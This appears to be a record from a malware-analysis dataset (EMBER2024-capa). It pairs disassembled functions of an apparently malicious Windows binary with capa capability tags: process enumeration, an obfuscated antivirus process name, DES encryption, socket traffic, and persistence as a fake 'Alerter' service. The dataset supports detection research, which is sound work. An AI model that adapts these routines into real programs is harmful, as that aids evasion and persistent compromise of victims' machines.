joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40b710
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x134
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov esi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov eax, esi
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b743
sub eax, edx
inc eax
push eax
call fcn.0040cce9
mov edi, eax
mov eax, esi
add esp, 4
lea edx, [eax + 1]
lea ecx, [ecx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b760
sub eax, edx
push esi
inc eax
push eax
push edi
call fcn.0040e5e9
add esp, 0xc
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32First]
cmp eax, 1
jne 0x40b877
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
jne 0x40b877
mov ecx, edi
xor edx, edx
lea esi, [ecx + 1]
lea ebx, [ebx]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b7b0
sub ecx, esi
je 0x40b7e3
jmp 0x40b7c0
mov al, byte [edx + edi]
cmp al, 0x41
jl 0x40b7d0
cmp al, 0x5a
jg 0x40b7d0
add al, 0x20
mov byte [edx + edi], al
mov eax, edi
inc edx
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x40b7d6
sub eax, esi
cmp edx, eax
jb 0x40b7c0
lea ecx, [ebp - 0x10c]
xor edx, edx
lea esi, [ecx + 1]
mov edi, edi
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b7f0
sub ecx, esi
je 0x40b82f
jmp 0x40b800
mov al, byte [ebp + edx - 0x10c]
cmp al, 0x41
jl 0x40b818
cmp al, 0x5a
jg 0x40b818
add al, 0x20
mov byte [ebp + edx - 0x10c], al
lea ecx, [ebp - 0x10c]
inc edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x40b822
sub ecx, esi
cmp edx, ecx
jb 0x40b800
mov ecx, edi
lea eax, [ebp - 0x10c]
mov dl, byte [eax]
cmp dl, byte [ecx]
jne 0x40b857
test dl, dl
je 0x40b853
mov dl, byte [eax + 1]
cmp dl, byte [ecx + 1]
jne 0x40b857
add eax, 2
add ecx, 2
test dl, dl
jne 0x40b837
xor eax, eax
jmp 0x40b85c
sbb eax, eax
or eax, 1
test eax, eax
je 0x40b89b
lea eax, [ebp - 0x130]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32Next]
cmp eax, 1
je 0x40b7a3
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push edi
call fcn.0040e5e4
add esp, 4
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
push edi
call fcn.0040e5e4
add esp, 4
push dword [ebp - 0x128]
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d33f
mov esp, ebp
pop ebp
ret
Function at 0x41e2a5
Capabilities:
Link many functions at runtime
Print debug messages

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [0x432860]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_EncodePointer]
push esi
push edi
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp + 0xc]
xor edi, edi
push edi
mov dword [ebp - 0x20], eax
call ebx
mov esi, eax
mov dword [ebp - 0x18], esi
call fcn.00412440
mov dword [ebp - 0x14], eax
cmp dword [0x435058], edi
jne 0x41e396
push 0x800
push edi
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
mov esi, eax
test esi, esi
jne 0x41e323
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x57
jne 0x41e476
push str.USER32.DLL
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov esi, eax
test esi, esi
je 0x41e476
push str.MessageBoxW
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
test eax, eax
je 0x41e476
push eax
call ebx
push str.GetActiveWindow
push esi
mov dword [0x435058], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetLastActivePopup
push esi
mov dword [0x43505c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
push str.GetUserObjectInformationW
push esi
mov dword [0x435060], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x435068], eax
test eax, eax
je 0x41e393
push str.GetProcessWindowStation
push esi
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call ebx
mov dword [0x435064], eax
mov esi, dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x41e3bb
mov eax, dword [ebp - 0x1c]
test eax, eax
je 0x41e3ae
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringW]
cmp dword [ebp - 0x14], edi
je 0x41e3d0
push 4
pop eax
jmp 0x41e478
cmp dword [ebp - 0x14], edi
je 0x41e3d0
push dword [0x435058]
call dword [sym.imp.KERNEL32.dll_DecodePointer]
push 3
jmp 0x41e3b5
mov eax, dword [0x435064]
mov ebx, dword [sym.imp.KERNEL32.dll_DecodePointer]
cmp eax, esi
je 0x41e42e
cmp dword [0x435068], esi
je 0x41e42e
push eax
call ebx
push dword [0x435068]
mov dword [ebp - 0x14], eax
call ebx
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x18], eax
test ecx, ecx
je 0x41e42e
test eax, eax
je 0x41e42e
call ecx
test eax, eax
je 0x41e423
lea ecx, [ebp - 0x24]
push ecx
push 0xc
lea ecx, [ebp - 0x10]
push ecx
push 1
push eax
call dword [ebp - 0x18]
test eax, eax
je 0x41e423
test byte [ebp - 8], 1
jne 0x41e42e
mov esi, dword [ebp + 0x10]
or esi, 0x200000
jmp 0x41e45e
mov eax, dword [0x43505c]
cmp eax, esi
je 0x41e45b
push eax
call ebx
test eax, eax
je 0x41e45b
call eax
mov edi, eax
test edi, edi
je 0x41e45b
mov eax, dword [0x435060]
cmp eax, esi
je 0x41e45b
push eax
call ebx
test eax, eax
je 0x41e45b
push edi
call eax
mov edi, eax
mov esi, dword [ebp + 0x10]
push dword [0x435058]
call ebx
test eax, eax
je 0x41e476
push esi
push dword [ebp - 0x20]
push dword [ebp - 0x1c]
push edi
call eax
jmp 0x41e478
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040d33f
leave
ret
Function at 0x421c70
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.00417fea
mov esi, dword [ebp + 8]
push 2
mov edi, eax
lea eax, [ebp - 4]
push eax
mov ecx, esi
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
jne 0x421ca8
xor eax, eax
jmp 0x421cd4
cmp esi, dword [ebp - 4]
je 0x421cd1
cmp dword [ebp + 0xc], 0
je 0x421cd1
push dword [edi + 0x9c]
call fcn.0042187e
push dword [edi + 0x9c]
mov esi, eax
call fcn.004126f6
pop ecx
pop ecx
cmp esi, eax
je 0x421ca4
xor eax, eax
inc eax
pop edi
pop esi
leave
ret
Function at 0x402d10
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push ebx
push ebp
push esi
push edi
push 0x40
push eax
push 0x423f5c
call fcn.00403050
push 0x40
push 0x40e428
push 0x423f5c
push 0x423f5c
call fcn.00402f70
mov al, byte [esp + 0x3c]
add esp, 0x1c
test al, al
jne 0x402d9b
mov ebx, dword [esp + 0x1c]
mov ebp, 0x10
mov eax, dword [0x41364c]
mov ecx, 8
mov esi, eax
mov edi, 0x423f3c
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00402eb0
mov ecx, dword [0x413648]
mov edx, dword [0x41364c]
push 0x20
push ecx
push edx
call fcn.00402fc0
mov edi, dword [0x413648]
add esp, 0x14
mov ecx, 8
mov esi, 0x423f3c
add ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x402d4f
jmp 0x402df4
mov eax, dword [esp + 0x1c]
mov ebp, 0x10
lea ebx, [eax + 0x2d0]
mov eax, dword [0x413648]
mov ecx, 8
mov esi, eax
mov edi, 0x423f3c
push ebx
push eax
rep movsd dword es:[edi], dword [esi]
call fcn.00402eb0
mov ecx, dword [0x41364c]
mov edx, dword [0x413648]
push 0x20
push ecx
push edx
call fcn.00402fc0
mov edi, dword [0x41364c]
add esp, 0x14
mov ecx, 8
mov esi, 0x423f3c
sub ebx, 0x30
dec ebp
rep movsd dword es:[edi], dword [esi]
jne 0x402daa
push 0x40
push 0x40e468
push 0x423f5c
push 0x423f5c
call fcn.00402f70
mov eax, dword [esp + 0x24]
push 0x40
push 0x423f5c
push eax
call fcn.00403090
add esp, 0x1c
pop edi
pop esi
pop ebp
pop ebx
ret

Function at 0x402e30
Capabilities:
Encrypt data using des

Disassembly:
mov eax, dword [esp + 8]
push esi
push edi
push 0x40
push eax
push 0x423efc
call fcn.00403050
push 0x38
push str.91__
push 0x423efc
push 0x423efc
call fcn.00402f70
mov edi, dword [esp + 0x28]
add esp, 0x1c
xor esi, esi
movsx ecx, byte [esi + 0x40e560]
mov edx, dword [0x413650]
push ecx
push 0x1c
push edx
call fcn.00402ff0
movsx eax, byte [esi + 0x40e560]
mov ecx, dword [0x413654]
push eax
push 0x1c
push ecx
call fcn.00402ff0
push 0x30
push 0x40e530
push 0x423efc
push edi
call fcn.00402f70
add esp, 0x28
inc esi
add edi, 0x30
cmp esi, 0x10
jl 0x402e62
pop edi
pop esi
ret

Function at 0x402eb0
Capabilities:
Encrypt data using des

Disassembly:
push esi
mov esi, dword [esp + 8]
push 0x30
push 0x40e4a8
push esi
push 0x423ecc
call fcn.00402f70
mov eax, dword [esp + 0x1c]
push 0x30
push eax
push 0x423ecc
call fcn.00402fc0
push 0x423ecc
push esi
call fcn.00402f00
push 0x20
push 0x40e4d8
push esi
push esi
call fcn.00402f70
add esp, 0x34
pop esi
ret

Function at 0x402fc0
Capabilities:
Encode data using xor

Disassembly:
push esi
mov esi, dword [esp + 0x10]
test esi, esi
jle 0x402fe2
mov eax, dword [esp + 8]
mov ecx, dword [esp + 0xc]
push ebx
sub ecx, eax
mov dl, byte [ecx + eax]
mov bl, byte [eax]
xor bl, dl
mov byte [eax], bl
inc eax
dec esi
jne 0x402fd4
pop ebx
pop esi
ret
Function at 0x4035c0
Capabilities:
Delete file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 4]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, eax
mov eax, dword [esp + 0xdc]
neg ecx
sbb ecx, ecx
pop edi
inc ecx
mov dword [eax + 4], 0
mov dword [eax], ecx
pop esi
add esp, 0xcc
ret

Function at 0x403610
Capabilities:
Create process on windows

Disassembly:
sub esp, 0x120
mov ecx, 0x33
push esi
mov esi, dword [esp + 0x128]
push edi
lea edi, [esp + 0x5c]
rep movsd dword es:[edi], dword [esi]
mov eax, dword [esp + 0x5c]
xor esi, esi
cmp eax, esi
jge 0x4036ab
lea eax, [esp + 8]
lea ecx, [esp + 0x18]
push eax
push ecx
push esi
push esi
push esi
push esi
push esi
lea edx, [esp + 0x7c]
push esi
push edx
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x44], esi
mov dword [esp + 0x48], esi
mov dword [esp + 0x4c], esi
mov dword [esp + 0x6c], 1
mov word [esp + 0x70], si
mov word [esp + 0x72], si
mov dword [esp + 0x74], esi
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403711
mov eax, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push eax
call edi
mov ecx, dword [esp + 8]
push ecx
call edi
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax], esi
mov dword [eax + 4], esi
pop esi
add esp, 0x120
ret
mov ecx, 0x10
xor eax, eax
lea edi, [esp + 0x1c]
lea edx, [esp + 8]
rep stosd dword es:[edi], eax
lea eax, [esp + 0x18]
push edx
push eax
push esi
push esi
push esi
push esi
push esi
lea ecx, [esp + 0x7c]
push esi
push ecx
push esi
mov dword [esp + 0x40], 0x44
mov dword [esp + 0x48], str.WinSta0Default
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x403711
mov edx, dword [esp + 0xc]
mov edi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push edx
call edi
mov eax, dword [esp + 8]
push eax
call edi
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax], esi
mov dword [eax + 4], esi
pop esi
add esp, 0x120
ret
mov eax, dword [esp + 0x130]
pop edi
mov dword [eax + 4], esi
mov dword [eax], 1
pop esi
add esp, 0x120
ret

Function at 0x403730
Capabilities:
Copy file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 0x68]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
push 1
lea ecx, [esp + 0x10]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov edx, eax
mov eax, dword [esp + 0xdc]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0xcc
ret

Function at 0x403780
Capabilities:
Move file

Disassembly:
sub esp, 0xcc
mov ecx, 0x33
lea eax, [esp + 0x68]
push esi
mov esi, dword [esp + 0xd4]
push edi
lea edi, [esp + 8]
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0xc]
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_MoveFileA]
mov edx, eax
mov eax, dword [esp + 0xdc]
neg edx
sbb edx, edx
pop edi
inc edx
mov dword [eax + 4], 0
mov dword [eax], edx
pop esi
add esp, 0xcc
ret
Function at 0x4037d0
Capabilities:
Set socket configuration

Disassembly:
sub esp, 0x18
push esi
mov esi, dword [esp + 0x24]
cmp esi, 1
push edi
jae 0x4037e9
pop edi
mov eax, 1
pop esi
add esp, 0x18
ret
mov edi, dword [esp + 0x24]
lea eax, [esp + 0x28]
push 4
push eax
push 8
push 0xffff
push edi
mov dword [esp + 0x3c], 1
call dword [sym.imp.WS2_32.dll_setsockopt]
test eax, eax
je 0x403816
pop edi
xor eax, eax
pop esi
add esp, 0x18
ret
lea eax, [esi + esi*4]
xor ecx, ecx
xor edx, edx
mov dword [esp + 0xc], ecx
lea eax, [eax + eax*4]
mov dword [esp + 0x18], edx
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], ecx
lea eax, [eax + eax*4]
push edx
lea ecx, [esp + 0x28]
mov dword [esp + 0x20], edx
shl eax, 3
push edx
push ecx
lea edx, [esp + 0x20]
mov dword [esp + 0x18], eax
push 0xc
push edx
lea eax, [esp + 0x1c]
push 0xc
push eax
push 0x98000004
push edi
mov dword [esp + 0x2c], 1
mov dword [esp + 0x34], 0x3e8
call dword [sym.imp.WS2_32.dll_WSAIoctl]
neg eax
sbb eax, eax
pop edi
inc eax
pop esi
add esp, 0x18
ret

Function at 0x403880
Capabilities:
Send data
Send data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x4038bf
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
test eax, eax
je 0x4038b8
cmp eax, 0xffffffff
je 0x4038b8
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x4038bf
jmp 0x403894
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x4038d0
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebx
push ebp
mov ebp, dword [esp + 0x14]
push esi
mov esi, dword [esp + 0x14]
xor ebx, ebx
push edi
mov edi, ebp
test ebp, ebp
jle 0x40390f
mov eax, dword [esp + 0x14]
push 0
push edi
push esi
push eax
call dword [sym.imp.WS2_32.dll_recv]
test eax, eax
je 0x403908
cmp eax, 0xffffffff
je 0x403908
add ebx, eax
add esi, eax
sub edi, eax
cmp ebx, ebp
jge 0x40390f
jmp 0x4038e4
pop edi
pop esi
pop ebp
xor eax, eax
pop ebx
ret
pop edi
pop esi
pop ebp
mov eax, 1
pop ebx
ret

Function at 0x403cf0
Capabilities:
Resolve dns

Disassembly:
push esi
mov esi, dword [esp + 8]
push esi
call dword [sym.imp.WS2_32.dll_inet_addr]
test eax, eax
jge 0x403d14
push esi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x403d0d
pop esi
ret
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov eax, dword [ecx]
pop esi
ret
Function at 0x403d20
Capabilities:
Accept command line arguments
Contain obfuscated stackstrings

Disassembly:
push 0xffffffffffffffff
push 0x40dda6
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xed4
mov eax, dword [esp + 0xee4]
push ebx
push ebp
push esi
push edi
mov ebp, ecx
push eax
push 0x81
mov dword [esp + 0x30], ebp
call sub.MFC42.DLL_CDialog::CDialog
xor ebx, ebx
mov ecx, 0xff
xor eax, eax
lea edi, [esp + 0x2d]
mov byte [esp + 0x2c], bl
mov dword [esp + 0xeec], ebx
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
mov dword [ebp], 0x40e9e0
stosb byte es:[edi], al
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov edi, eax
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x2c]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x104
mov eax, ecx
mov esi, edi
mov edi, edx
lea edx, [ebp + 0x60]
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
xor eax, eax
and ecx, 3
push edx
rep movsb byte es:[edi], byte [esi]
mov ecx, 0x41
mov edi, edx
rep stosd dword es:[edi], eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
mov ecx, 0x41
xor eax, eax
lea edi, [ebp + 0x164]
push ebx
rep stosd dword es:[edi], eax
mov ecx, 0x41
lea edi, [ebp + 0x268]
rep stosd dword es:[edi], eax
mov dword [ebp + 0x370], ebx
call dword [sym.imp.MSVCRT.dll_time]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
lea ecx, [esp + 0x20]
mov al, 0x65
push ecx
mov byte [esp + 0x24], 0x33
mov byte [esp + 0x25], 0x36
mov byte [esp + 0x26], 0x30
mov byte [esp + 0x27], 0x54
mov byte [esp + 0x28], 0x72
mov byte [esp + 0x29], 0x61
mov byte [esp + 0x2a], 0x79
mov byte [esp + 0x2b], 0x2e
mov byte [esp + 0x2c], al
mov byte [esp + 0x2d], 0x78
mov byte [esp + 0x2e], al
mov byte [esp + 0x2f], bl
call fcn.004063e0
add esp, 0xc
lea ecx, [esp + 0x24]
mov dword [0x42478c], eax
call fcn.00402b70
mov byte [esp + 0xeec], 1
mov byte [esp + 0x10], 0x33
mov ecx, 0x2ae
xor eax, eax
lea edi, [esp + 0x42c]
mov byte [esp + 0x11], 0x34
rep stosd dword es:[edi], eax
lea edi, [esp + 0x10]
or ecx, 0xffffffff
mov byte [esp + 0x12], 0x32
mov byte [esp + 0x13], 0x31
mov byte [esp + 0x14], bl
push 1
repne scasb al, byte es:[edi]
not ecx
dec ecx
lea edx, [esp + 0x14]
push ecx
push edx
push 0xab8
lea eax, [esp + 0x43c]
push 0x413d28
push eax
lea ecx, [esp + 0x3c]
call fcn.00402bb0
mov ecx, 0x2ae
lea esi, [esp + 0x42c]
mov edi, 0x413d28
push str.no_Sleep
rep movsd dword es:[edi], dword [esi]
lea ecx, [esp + 0x30]
mov dword [ebp + 0x36c], 1
push ecx
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
je 0x403ee7
cmp dword [0x414774], ebx
je 0x403ef8
call fcn.00404cf0
jmp 0x403ef8
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp + 0x36c], ebx
mov ecx, ebp
call fcn.004043b0
mov ecx, ebp
call fcn.004045c0
lea ecx, [esp + 0x24]
mov byte [esp + 0xeec], bl
call fcn.00402ba0
mov ecx, dword [esp + 0xee4]
pop edi
mov eax, ebp
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0xee0
ret 4
Function at 0x403f80
Capabilities:
Persist via windows service
Set registry value

Disassembly:
sub esp, 0x134
push ebx
push ebp
push esi
push edi
xor ebx, ebx
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0x41]
mov byte [esp + 0x40], bl
mov ebp, dword [sym.imp.MSVCRT.dll_putchar]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
push 0x30
mov dword [esp + 0x14], ebx
stosb byte es:[edi], al
call ebp
mov edi, str.SYSTEMCurrentControlSetServices_
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x44]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
mov edi, 0x413710
or ecx, 0xffffffff
xor eax, eax
lea edx, [esp + 0x48]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
push 0x30
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
mov ecx, edx
dec edi
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call ebp
add esp, 0xc
lea eax, [esp + 0x10]
lea ecx, [esp + 0x40]
push eax
push ecx
push closesocket
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyA]
push 0x30
call ebp
mov byte [esp + 0x18], bl
mov byte [esp + 0x19], bl
mov byte [esp + 0x1a], bl
mov byte [esp + 0x1b], bl
mov byte [esp + 0x1c], bl
mov byte [esp + 0x1d], bl
mov byte [esp + 0x1e], bl
mov byte [esp + 0x1f], bl
mov byte [esp + 0x20], bl
mov byte [esp + 0x21], bl
mov byte [esp + 0x22], bl
mov byte [esp + 0x23], bl
mov byte [esp + 0x24], 3
mov byte [esp + 0x25], bl
mov byte [esp + 0x26], bl
mov byte [esp + 0x27], bl
mov byte [esp + 0x28], 0x53
mov byte [esp + 0x29], bl
push 0x30
mov byte [esp + 0x2e], 0x65
mov byte [esp + 0x2f], bl
mov byte [esp + 0x30], 1
mov byte [esp + 0x31], bl
mov byte [esp + 0x32], bl
mov byte [esp + 0x33], bl
mov byte [esp + 0x34], bl
mov byte [esp + 0x35], bl
mov byte [esp + 0x36], bl
mov byte [esp + 0x37], bl
mov byte [esp + 0x38], 1
mov byte [esp + 0x39], bl
mov byte [esp + 0x3a], bl
mov byte [esp + 0x3b], bl
mov byte [esp + 0x3c], bl
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], bl
mov byte [esp + 0x3f], bl
mov byte [esp + 0x40], 1
mov byte [esp + 0x41], bl
mov byte [esp + 0x42], bl
mov byte [esp + 0x43], bl
mov byte [esp + 0x44], bl
mov byte [esp + 0x45], bl
mov byte [esp + 0x46], bl
mov byte [esp + 0x47], bl
call ebp
mov eax, dword [esp + 0x18]
add esp, 8
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
lea edx, [esp + 0x14]
push 0x2c
push edx
push 3
push ebx
push str.FailureActions
push eax
call esi
push 0x30
call ebp
add esp, 4
push 0x413a1c
call dword [sym.imp.KERNEL32.dll_lstrlenA]
mov ecx, dword [esp + 0x10]
push eax
push 0x413a1c
push 1
push ebx
push str.Description
push ecx
call esi
push 0x30
call ebp
mov edx, dword [esp + 0x14]
add esp, 4
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0x30
call ebp
add esp, 4
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x134
ret
Function at 0x404150
Capabilities:
Create service
Persist via windows service

Disassembly:
sub esp, 0x104
push ebx
push esi
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
add esp, 4
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov ebx, eax
test ebx, ebx
jne 0x404185
pop esi
pop ebx
add esp, 0x104
ret 8
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 0xd]
mov byte [esp + 0xc], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov edi, dword [esp + 0x114]
lea ecx, [esp + 0xc]
lea eax, [edi + 0x268]
push eax
push str.__s_
push ecx
call dword [sym.imp.MSVCRT.dll_sprintf]
push 0x30
call esi
add esp, 0x10
lea edx, [esp + 0xc]
push 0
push 0
push 0
push 0
push 0
push edx
push 0
push 2
push 0x10
push 0xf01ff
push str.Alerter
push 0x413710
push ebx
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
push 0x30
mov dword [edi + 0x370], eax
call esi
add esp, 4
mov ecx, edi
call fcn.00403f80
push 0x30
call esi
add esp, 4
push ebx
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
pop edi
pop esi
mov eax, 1
pop ebx
add esp, 0x104
ret 8

Function at 0x404340
Capabilities:
Create directory
Create process on windows

Disassembly:
sub esp, 0x104
push esi
push edi
mov ecx, 0x40
xor eax, eax
lea edi, [esp + 9]
mov byte [esp + 8], 0
rep stosd dword es:[edi], eax
mov esi, dword [esp + 0x110]
stosw word es:[edi], ax
stosb byte es:[edi], al
push esi
lea eax, [esp + 0xc]
push str.cmd.exe__c_md___s_
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
add esp, 0xc
lea ecx, [esp + 8]
push 0
push ecx
call dword [sym.imp.KERNEL32.dll_WinExec]
push 0
push esi
call dword [sym.imp.MSVCRT.dll__access]
add esp, 8
test eax, eax
je 0x40439e
push 0
push esi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
pop edi
xor eax, eax
pop esi
add esp, 0x104
ret 4